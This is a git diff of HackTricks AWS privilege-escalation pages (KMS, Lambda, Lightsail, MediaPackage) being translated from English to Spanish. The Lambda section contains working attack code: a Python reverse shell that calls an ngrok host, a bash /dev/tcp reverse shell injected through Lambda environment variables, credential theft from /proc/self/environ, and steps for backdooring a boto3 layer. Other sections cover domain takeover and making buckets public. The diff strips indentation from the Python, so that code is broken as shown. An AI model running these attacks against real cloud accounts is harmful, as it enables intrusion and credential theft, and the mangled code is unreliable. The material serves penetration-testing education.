```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Permite a un principal usar una clave KMS: ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Un grant solo puede permitir ciertos tipos de operaciones: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Tenga en cuenta que puede tardar un par de minutos para que KMS **permita al usuario usar la clave después de que se haya generado el grant**. Una vez que haya pasado ese tiempo, el principal puede usar la clave KMS sin necesidad de especificar nada.\ +> Sin embargo, si es necesario usar el grant de inmediato [use un token de grant](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (ver el siguiente código).\ +> Para [**más información lea esto**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Nota que es posible listar los permisos de las claves con: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +Con estos permisos es posible replicar una clave KMS habilitada para múltiples regiones en una región diferente con una política diferente. +Así que, un atacante podría abusar de esto para obtener privilegios y acceder a la clave y usarla. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +Este permiso permite usar una clave para descifrar información.\ +Para más información, consulta: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..37ab6da9f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Más información sobre lambda en: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\ +Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede entonces **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\ +Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de manera indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\ +Un atacante podría abusar de esto para obtener un **rev shell y robar el token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +También podrías **abusar de los permisos del rol de lambda** desde la propia función lambda.\ +Si el rol de lambda tenía suficientes permisos, podrías usarlo para otorgarte derechos de administrador: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para **Lambdas aisladas de la red** utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells inversos, este fragmento de código te permitirá filtrar directamente las credenciales como la salida de la lambda. ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Impacto Potencial:** Privesc directo al rol de servicio lambda arbitrario especificado. > [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> Tenga en cuenta que, aunque pueda parecer interesante, **`lambda:InvokeAsync`** **no** permite por sí solo **ejecutar `aws lambda invoke-async`**, también necesita `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Al igual que en el escenario anterior, puede **otorgarse a sí mismo el permiso `lambda:InvokeFunction`** si tiene el permiso **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Impacto Potencial:** Privesc directo al rol de servicio lambda arbitrario especificado. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +Los usuarios con permisos de **`iam:PassRole`, `lambda:CreateFunction` y `lambda:CreateEventSourceMapping`** (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden **escalar privilegios** de manera indirecta incluso sin `lambda:InvokeFunction`.\ +Pueden crear una **función Lambda con código malicioso y asignarle un rol IAM existente**. +En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda a través de un mapeo de fuente de eventos. Esta configuración asegura que la función Lambda se **active automáticamente al ingresar un nuevo elemento** en la tabla, ya sea por la acción del usuario o por otro proceso, invocando indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el mapeo de la fuente de eventos** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con la transmisión habilitada: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Ahora es posible **conectar la función Lambda a la tabla DynamoDB** creando **un mapeo de origen de eventos**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +Con la función Lambda vinculada al flujo de DynamoDB, el atacante puede **activar indirectamente la Lambda al activar el flujo de DynamoDB**. Esto se puede lograr **insertando un elemento** en la tabla de DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Impacto Potencial:** Privesc directo al rol de servicio de lambda especificado. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Un atacante con este permiso puede **otorgarse a sí mismo (o a otros) cualquier permiso** (esto genera políticas basadas en recursos para otorgar acceso al recurso): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado al otorgar permiso para modificar el código y ejecutarlo. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Un atacante con este permiso puede **otorgarse a sí mismo (o a otros) el permiso `lambda:GetLayerVersion`**. Podría acceder a la capa y buscar vulnerabilidades o información sensible. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Impacto Potencial:** Acceso potencial a información sensible. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +Los usuarios que poseen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\ +El atacante puede **modificar el código de la lambda para exfiltrar las credenciales de IAM**. +Aunque el atacante puede no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### RCE a través de variables de entorno +Con estos permisos es posible agregar variables de entorno que harán que Lambda ejecute código arbitrario. Por ejemplo, en python es posible abusar de las variables de entorno `PYTHONWARNING` y `BROWSER` para hacer que un proceso de python ejecute comandos arbitrarios: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Para otros lenguajes de scripting, hay otras variables de entorno que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### RCE a través de Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** en tu función lambda pero **almacenándolo por separado**, de modo que el código de la función puede permanecer pequeño y **varias funciones pueden compartir código**. +Dentro de lambda, puedes verificar las rutas desde donde se carga el código de python con una función como la siguiente: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +Estos son los lugares: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Por ejemplo, la biblioteca boto3 se carga desde `/var/runtime/boto3` (4ª posición). -#### Exploitation +#### Explotación -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +Es posible abusar del permiso `lambda:UpdateFunctionConfiguration` para **agregar una nueva capa** a una función lambda. Para ejecutar código arbitrario, esta capa necesita contener alguna **biblioteca que la lambda va a importar.** Si puedes leer el código de la lambda, podrías encontrar esto fácilmente, también ten en cuenta que podría ser posible que la lambda **ya esté usando una capa** y podrías **descargar** la capa y **agregar tu código** allí. +Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto creará una capa local con la última versión de la biblioteca: ```bash pip3 install -t ./lambda_layer boto3 ``` +Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell inverso, por ejemplo). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de la víctima, pero es posible que no tengas permisos para esto).\ +Ten en cuenta que necesitas crear una carpeta de python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Ahora, haz que la capa de lambda subida **sea accesible por cualquier cuenta**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +Y adjunta la capa lambda a la función lambda de la víctima: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +El siguiente paso sería **invocar la función** nosotros mismos si podemos o esperar hasta que **se invoque** por medios normales, que es el método más seguro. -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +Una **manera más sigilosa de explotar esta vulnerabilidad** se puede encontrar en: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Impacto Potencial:** Privesc directo al rol de servicio de lambda utilizado. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Quizás con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero no pude encontrar una manera de probarlo, ¡así que házmelo saber si lo haces! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Algunas lambdas van a estar **recibiendo información sensible de los usuarios en parámetros.** Si obtienes RCE en una de ellas, puedes exfiltrar la información que otros usuarios le están enviando, revísalo en: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..13efd4f22 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Para más información sobre Lightsail, consulta: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Es importante tener en cuenta que Lightsail **no utiliza roles de IAM pertenecientes al usuario** sino a una cuenta gestionada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, **datos sensibles** como código, claves API e información de bases de datos podrían encontrarse en este servicio. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +Este permiso te permitirá obtener las claves SSH para acceder a las instancias: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Impacto Potencial:** Encontrar información sensible dentro de las instancias. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +Este permiso te permitirá generar claves SSH para acceder a las instancias: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Impacto Potencial:** Encontrar información sensible dentro de las instancias. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +Este permiso te permitirá obtener una clave para acceder al bucket: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Impacto Potencial:** Encontrar información sensible dentro del bucket. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +Este permiso te permitirá obtener las credenciales para acceder a la base de datos: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Impacto Potencial:** Encontrar información sensible dentro de la base de datos. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +Este permiso te permitirá cambiar la contraseña para acceder a la base de datos: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Si la base de datos no es pública, también podrías hacerla pública con estos permisos con ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Impacto Potencial:** Encontrar información sensible dentro de la base de datos. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +Este permiso permite abrir puertos a Internet. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Impacto Potencial:** Acceso a puertos sensibles. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +Este permiso permite abrir puertos a Internet. Tenga en cuenta que la llamada cerrará cualquier puerto abierto que no esté especificado en ella. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Impacto Potencial:** Acceso a puertos sensibles. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Este permiso permite dar a una instancia acceso a un bucket sin credenciales adicionales. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Impacto Potencial:** Acceso potencial nuevo a buckets con información sensible. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre buckets o incluso hacer que los buckets sean públicos para todos: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Impacto Potencial:** Acceso potencial nuevo a buckets con información sensible. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +Con estos permisos, un atacante podría otorgar acceso a ECRs privados desde el servicio de contenedores. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Impacto Potencial:** Obtener información sensible de ECR privado ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos desde el dominio, o incluso establecer el dominio principal a su propia dirección IP. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Impacto Potencial:** Toma de control de un dominio ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o elaborar un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Impacto Potencial:** Toma de control de un dominio {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..b5a6e9c86 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del canal. (Esta API está obsoleta para RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del Canal. (Esta API está en desuso para RotateIngestEndpointCredentials) ```bash aws mediapackage 